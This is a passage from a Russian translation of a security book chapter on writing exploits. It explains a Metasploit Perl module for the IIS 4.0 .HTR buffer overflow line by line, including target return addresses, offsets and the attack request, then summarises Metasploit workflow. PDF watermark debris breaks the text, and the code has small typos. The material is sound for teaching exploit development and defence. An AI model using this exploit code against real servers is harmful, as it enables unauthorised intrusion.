Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Интегрирование эксплойта в каркас 631

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

В процесс кодирования и генерирования NOP-команд ядро избегает появ-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ления недопустимых символов, справляясь с информацией из структуры %info. После того как полезная нагрузка сгенерирована, закодирована и снабжена дорожкой, ядро вызывает метод exploit() из объекта, представляющего эксплойт.

Конструируя строку атаки, этот метод пользуется переменными окружения. Он вызывает различные функции из библиотек, входящих в состав Metasploit, в частности Pex. Когда строка будет готова, для установления соединения с удаленным хостом и отправки ему строки атаки можно воспользоваться библиотечными функциями работы с сокетами.

Анализ существующего модуля эксплойта

Знание деталей работы ядра помогает разработчику лучше понять структуру класса эксплойта. Поскольку все встраиваемые в каркас эксплойты следуют одной и той же схеме, то надо разобраться в устройстве какого-нибудь одного эксплойта и на его основе можно создавать собственный (см. пример 12.7).

Пример 12.7. Модуль, встроенный в каркас Metasploit

1package Msf::Exploit::iis40_htr;

2use base "Msf::Exploit";

3use strict;

4use Pex::Text;

Âстроке 1 говорится, что весь последующий код будет частью пространства имен iis40_htr. В строке 2 объявляется, что базовым для модуля эксплойта является класс Msf::Exploit. Директива strict в строке 3 запрещает использование потенциально небезопасных языковых конструкций, например, переменных, которые не были предварительно объявлены. В строке 4 в распоряжение нашего класса предоставляются методы из класса Pex::Text. Обычно разработчик эксплойта просто меняет имя пакета в строке 1, включать какие-то другие пакеты или употреблять дополнительные директивы нет нужды.

5my $advanced = {};

Все специфичные для эксплойта данные хранятся в структурах %info è %advanced, которые должны быть объявлены в каждом модуле. В строке 5 мы видим, что в данном случае хэш %advanced пуст, но, если бы у эксплойта были дополнительные параметры, их следовало бы поместить сюда в виде пар ключ-значение.

6 my $info =

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

632 Глава 12. Написание эксплойтов III

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

7 {

 

 

 

df-xchan

e

 

 

 

 

 

8'Name' => 'IIS 4.0 .HTR Buffer Overflow',

9'Version' => '$Revision: 1.4 $',

10'Authors' => [ 'Stinko' ],

11'Arch' => [ 'x86' ],

12'OS' => [ 'win32' ],

13'Priv' => 1,

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Õýø %info начинается с имени эксплойта в строке 8 и номера версии в строке 9. В строке 10 перечислены имена авторов, а в строках 11 и 12 – целевые архитектуры и операционные системы соответственно. В строке 13 задан ключ Priv, который указывает, нужны ли для выполнения эксплойта административные привилегии.

14

'UserOpts' => {

 

 

 

 

 

 

15

'RHOST' => [1, 'ADDR', 'The target

address'],

16

'RPORT' =>

[1,

'PORT',

'The

target

port', 80],

17

'SSL'

=>

[0,

'BOOL',

'Use

SSL'],

18

},

 

 

 

 

 

 

Также в хэше %info хранится структура UserOpts. Это вложенный хэш, где перечислены переменные окружения, которые пользователь может задать в командной строке. Значением каждого ключа в этом хэше является массив из четырех элементов. Первый элемент – это флаг, показывающий, обязательна данная переменная или нет. Второй элемент – тип данных, Metasploit использует это поле для проверки правильности формата заданного значе- ния переменной. Третий элемент описывает назначение переменной окружения, а необязательный четвертый элемент содержит значение, принимаемое по умолчанию.

Например, в строке 15 мы видим, что переменная RHOST обязательна, тип ADDR означает, что она должна содержать либо IP-адрес, либо полностью определенное доменное имя.

Если при проверке окажется, что формат заданного значения некорректен, эксплойт вернет сообщение об ошибке. Из описания следует, что переменная должна содержать адрес целевой машины и что у нее нет значения по умолчанию.

19

'PayLoad' => {

 

20

'Space' =>

820,

21

'MaxNops' => 0,

22

'MinNops' => 0,

23

'BadChars' =>

24

join("",

map { $_=chr($_) } (0x00..0x2f)).

25

join("",

map { $_=chr($_) } (0x3a..0x40)).

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

 

d

 

 

xch26

 

 

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

 

 

 

27

 

 

 

 

 

 

 

 

 

 

 

28

 

 

 

},

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Интегрирование эксплойта в каркас 633

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

join("", map { $_=chr($_) } (0x5b..0x60)).

 

 

 

df-x chan

e

 

 

 

 

 

 

 

join("", map { $_=chr($_) } (0x7b..0xff)),

Значением ключа PayLoad также является хэш, вложенный в %info, он содержит информацию о полезной нагрузке. Глядя на параметр Space (строка 19), ядро определяет, какие вообще нагрузки доступны данному эксплойту. Позже размер закодированной полезной нагрузки снова сверяется с этим параметром. Если она оказывается слишком велика, ядро пробует применить другой кодировщик. Так продолжается до тех пор, пока все имеющиеся кодировщики не будут просмотрены. Если так и не удастся уложиться в отведенные размеры, построение эксплойта завершается неудачей.

Параметры MaxNops è MinNops, определенные в строках 20 и 21, задают максимальный и минимальный размер дорожки NOP-команд в байтах. Задание значения MinNops полезно, когда нужно, чтобы закодированной полезной нагрузке обязательно предшествовала дорожка определенной длины. Параметр MaxNops чаще всего используется в случае, когда и MaxNops,

èMinNops должны быть равны нулю, что подавляет генерацию дорожки. Параметр BadChars в строке 23 содержит строку символов, которых коди-

ровщик должен избегать. Таким образом, в вышеприведенном фрагменте сказано, что длина полезной нагрузки не должна превышать 820 байтов, генерировать дорожку из NOP-команд не надо, поскольку мы заранее знаем, что при использовании разделяемой библиотеки в качестве трамплина NOP-ко- манды не требуются, а недопустимыми объявлены все символы, отличные от букв и цифр.

29'Description' => Pex::Text::Freeform(qq{

30Этот эксплойт направлен против ошибки переполнения буфера в

31ISAPI-расширении ISM.DLL, которая в IIS 4.0 занимается

32обработкой HTR-сценариев. Модуль работает в Windows NT 4

33Service Packs 3, 4 и 5. Сервер продолжит обработку запросов,

34пока полезная нагрузка не завершит работу. Если в качестве

35параметра EXITFUNC задать 'seh', то сервер продолжит работу,

36но возникнут неприятности при выходе из привязанной к порту

37оболочки. Если же EXITFUNC равно 'thread', то сервер «упадет»

38при выходе из оболочки. Полезная нагрузка кодируется только

39алфавитно-цифровыми символами, без дорожки NOP-команд, так как

40в противном случае данные могут быть изменены фильтрами.

41}),

Значением ключа Description является словесное описание эксплойта. Функция Pex::Text::Freeform() форматирует описание так, чтобы оно правильно отображалось командой info, запущенной из программы msfconsole.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

634 Глава 12. Написание эксплойтов III

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

'Refs' => [

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

42

 

 

 

 

 

 

 

 

43

['OSVDB', 3325],

 

 

 

 

 

 

 

 

44

['BID', 307],

 

 

 

 

 

 

 

 

45

['CVE', '1999-0874'],

 

 

 

 

 

 

 

 

46

['URL', 'http://www.eeye.com/html/research/

advisories/AD19990608.html'],

47 ],

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Êëþ÷ Refs содержит массив массивов, причем в каждом внутреннем массиве есть два поля: ключ источника информации и уникальный идентификатор. В строке 44 BID – сокращение от Bugtraq ID, а 307 – идентификатор сообщения в системе Bugtraq. При выполнении команды info ядро транслирует строку 44 в www.securityfocus.com/bid/307.

48'DefaultTarget' => 0,

49'Targets' => [

50

['Windows NT4 SP3', 593, 0x77f81a4d],

51

['Windows NT4 SP4', 593, 0x77f7635d],

52

['Windows NT4 SP5', 589, 0x77f81a85],

53

],

Êëþ÷ Targets указывает на массив массивов, где каждый внутренний массив содержит три поля: описание цели, смещение адреса возврата и сам адрес возврата. В частности, из строки 106 следует, что в Windows NT4 Service Pack 5 адрес возврата должен быть равен 0x77f81a85, а смещение до него составляет 589 байтов.

Массив целей – это одна из сильных сторон каркаса, поскольку позволяет использовать один и тот же эксплойт для атаки на разные цели без какойлибо модификации кода. Пользователю просто нужно указать цель с помощью переменной окружения TARGET. Значением ключа DefaultTarget служит индекс принимаемого по умолчанию элемента массива Targets; 0 в строке 48 говорит, что это первый элемент, то есть по умолчанию предполагается атака на Windows NT4 SP3.

54'Keys' => ['iis'],

55};

Последним в структуре %info èäåò êëþ÷ Keys. Он указывает на массив клю- чевых слов, ассоциированных с данным эксплойтом. Эти слова используются ядром для фильтрации.

56sub new {

57my $class = shift;

58my $self = $class->SUPER::new({'Info' => $info,

'Advanced' => $advanced}, @_);

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

d

 

 

xch59

 

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

 

 

60 }

return($self);

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Интегрирование эксплойта в каркас 635

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Функция new() – это конструктор класса. Она отвечает за создание новых объектов и передает им ссылки на структуры %info è %advanced. Модифицировать эту функцию приходится очень редко.

61sub exploit

62{

63my $self = shift;

64my $target_host = $self->GetVar('RHOST');

65my $target_port = $self->GetVar('RPORT');

66my $target_idx = $self->GetVar('TARGET');

67

my $shellcode

= $self->GetVar('EncodedPayload')->Payload;

Именно в методе exploit() эксплойт создается и исполняется.

В строке 63 метод получает ссылку на объект, через который вызван, и сразу же использует ее в последующих строках для вызова метода GetVar(), где извлекаются значения параметров RHOST, RPORT è TARGET, то есть адрес и номер порта удаленной машины и индекс элемента в массиве целей (строка 49). Мы уже говорили, что метод exploit() вызывается только после успешной генерации эксплойта. Данные между ядром и эксплойтом передаются че- рез переменные окружения, поэтому для получения полезной нагрузки из переменной EncodedPayload вызывается метод GetVar().

68 my $target = $self->Targets->{$target_idx};

Значение переменной $target_idx, полученное в строке 66, используется в качестве индекса массива Targets. Теперь в переменной $target находится ссылка на массив с информацией о цели.

69my $attackstring = ("X" x $target->[1]);

70$attackstring .= pack("V", $target->[2]);

71my $attackstring .= $shellcode;

Âстроке 69 мы приступаем к конструированию строки атаки, помещая в ее начало несколько символов “X”. Количество их определяется вторым элементом массива, на который указывает $target, а это не что иное, как смещение до адреса возврата. В строке 70 в строку атаки дописывается адрес возврата, предварительно преобразованный в формат little endian. В строке 71 мы дописываем сгенерированную полезную нагрузку, которая чуть раньше была извлечена из переменной окружения (строка 67).

72 my $request = "GET /" . $attackstring . ".htr HTTP/1.0\r\n\r\n";

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

636 Глава 12. Написание эксплойтов III

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

Здесь строка атаки погружается в запрос по протоколу HTTP к файлу с рас--x cha

 

 

 

 

 

ширением .htr. В настоящий момент переменная $request выглядит, как показано на рис. 12.43.

Рис. 12.43. Строка атаки в переменной $request

73$self->PrintLine(sprintf ("[*] Trying " . $target->[0] .

"using call eax at 0x%.8x...", $target->[2]));

Закончив конструировать строку атаки, эксплойт сообщает пользователю о своей готовности к запуску.

74my $s = Msf::Socket::Tcp->new

75(

76'PeerAddr' => $target_host,

77'PeerPort' => $target_port,

78'LocalPort' => $self->GetVar('CPORT'),

79

'SSL'

=> $self->GetVar('SSL'),

80);

81if ($s->IsError) {

82$self->PrintLine('[*] Error creating socket: ' . $s->GetError);

83return;

84}

Âстроках 74–80 создается TCP-сокет с параметрами, определяемыми переменными окружения. Для этой цели применяется API сокетов, входящий в каркас Metasploit.

85$s->Send($reequest);

86$s->Close();

87return;

88}

И, наконец, метод exploit() посылает строку атаки, а затем закрывает сокет и возвращает управление. В этот момент ядро начинает в цикле работать с соединением так, как того требует полезная нагрузка. Как только соединение будет установлено, запускается встроенный обработчик, и результат печатается на экране, как показано на рис. 12.9.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Интегрирование эксплойта в каркас 637

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df

 

Переопределение методов

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

В предыдущем разделе мы обсудили, как полезная нагрузка генерируется, кодируется и снабжается дорожкой из NOP-команд. Но мы ничего не говорили о том, что разработчик может переопределить некоторые функции ядра, чтобы управлять эксплойтом более динамично, не ограничиваясь лишь заданием параметров в хэшах. Допускающие переопределение функции находятся в классе Msf::Exploit. По умолчанию они просто возвращают значения из хэшей, но могут решать и другие задачи, диктуемые требованиями к полезной нагрузке.

Например, в строке 21 мы задали в ключе $info->{'Payload'}->{'MaxNops'} максимальное число NOP-команд. Если в зависимости от целевой платформы строка атаки должна включать разное число NOP-команд, то никто не мешает переопределить метод PayloadMaxNops(), чтобы она возвращала различные значения. В таблице 12.2 перечислены переопределяемые методы.

Таблица 12.2. Методы, допускающие переопределение

Метод

Описание

Соответствующее

 

 

значение в хэше

PayloadPrepend

Помещает данные между

$info >{'Payload'} >

Encoder

дорожкой и декодером

{'PrependEncoder'}

PayloadPrepend

Помещает данные перед

$info >{'Payload'} >

 

полезной нагрузкой до начала

{'Prepend'}

 

процедуры кодирования

 

PayloadAppend

Помещает данные после

$info >{'Payload'} >

 

полезной нагрузки до начала

{'Append'}

 

процедуры кодирования

 

PayloadSpace

Задает максимальную общую

$info >{'Payload'} >

 

длину дорожки, декодера и

{'Space'}

 

закодированной полезной

 

 

нагрузки. Дорожка должна

 

 

занимать все свободное место

 

PayloadSpace

Задает набор символов, которых

$info >{'Payload'} >

BadChars

должен избегать кодировщик

{'BadChars'}

PayloadMinNops

Задает минимальную длину

$info >{'Payload'} >

 

дорожки

{'MinNops'}

PayloadMaxNops Задает максимальную длину

$info >{'Payload'} >

 

дорожки

{'MaxNops'}

NopSaveRegs

Задает набор регистров, которые

$info >{'Payload'} >

 

не должны участвовать в дорожке

{'SaveRegs'}

Хотя переопределять эти методы приходится редко, полезно знать, что такая возможность существует.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

638 Глава 12. Написание эксплойтов III

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

e

 

 

 

 

 

 

n

Резюме

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Для разработки надежных эксплойтов нужно владеть многими навыками и обладать глубокими знаниями, которых не получишь, читая все возрастающее количество бессмысленных официальных статей. Читатель должен проявить инициативу, чтобы навести мосты между теорией и практикой. И выражается это в самостоятельном написании работающего эксплойта. Проект Metasploit предоставляет набор инструментов, с помощью которых сложность процесса создания эксплойта можно значительно уменьшить. При этом в качестве конечного результата разработчик не только получит работоспособный эксплойт, но и станет лучше понимать трудности, сопутствующие организации атаки на уязвимость.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Обзор изложенного материала 639

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

Обзор изложенного материала

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Использование каркаса Metasploit

Каркас Metasploit Framework предоставляет три разных интерфейса: msfcli – командная строка; msfweb – интерфейс на основе Web-браузера и msfconsole – интерактивная оболочка.

Самым развитым является интерфейс msfconsole. Чтобы получить справку в процессе работы с ним, нажмите клавишу ? или наберите команду help. Наиболее полезными из предлагаемых команд являются show, set, info, use è exploit.

После выбора эксплойта и задания его параметров нужно выбрать и сконфигурировать полезную нагрузку.

Разработка эксплойтов

ñпомощью каркаса Metasploit

Основные шаги при разработки эксплойта для переполнения буфера – это определение вектора атаки, вычисление смещения адреса возврата, выбор вектора управления, отыскание подходящего адреса возврата, выявление недопустимых символов и ограничений по размеру, создание дорожки из NOP-команд, выбор полезной нагрузки и кодировщика и, наконец, тестирование.

Функция PatternCreate() и утилита patternOffset.pl помогают быстрее определить смещение до адреса возврата.

База данных Metasploit о кодах операций, а также утилиты mfspescan è mfselfscan можно использовать для отыскания подходящего адреса возврата.

Эксплойты, уже встроенные в каркас Metasploit, могут воспользоваться передовыми методами генерирования дорожек из NOP-команд.

Как Web-интерфейс, так и автономные утилиты msfpayload è msfencode позволяют автоматизировать процедуру выбора, генерирования и кодирования полезной нагрузки.

Интеграция эксплойтов в каркас

Все модули эксплойтов строятся примерно по одному образцу, поэтому интегрирование в каркас обычно сводится к модификации существующего эксплойта.

Данные между ядром каркаса и отдельным эксплойтом передаются че- рез переменные окружения. Они же применяются для управления по-

ведением ядра.

640 Глава 12. Написание эксплойтов III

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

В хэшах %info è %advanced содержится вся информация об эксплойте,-x cha

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

целевой платформе и полезной нагрузке. Метод exploit() создает и посылает строку атаки.

Ссылки на сайты

